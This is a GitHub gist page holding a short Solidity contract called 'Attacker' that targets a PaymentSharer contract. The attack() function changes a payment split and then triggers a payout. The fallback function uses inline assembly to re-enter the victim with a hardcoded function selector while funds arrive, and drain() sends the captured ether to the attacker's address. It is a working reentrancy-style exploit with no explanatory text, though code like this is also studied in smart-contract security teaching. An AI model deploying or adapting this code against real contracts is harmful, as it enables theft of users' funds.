Last active
January 17, 2019 05:25
-
-
Save shingonu/3fd20ffafae2c6b14896fdad6d55e1b8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.5.0; | |
import "./PaymentSharer.sol"; | |
contract Attacker { | |
address private victim; | |
address payable owner; | |
constructor() public { | |
owner = msg.sender; | |
} | |
function attack(address a) external { | |
victim = a; | |
PaymentSharer x = PaymentSharer(a); | |
x.updateSplit(0, 100); | |
x.splitFunds(0); | |
} | |
function () payable external { | |
address x = victim; | |
assembly{ | |
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) | |
pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) | |
} | |
} | |
function drain() external { | |
owner.transfer(address(this).balance); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment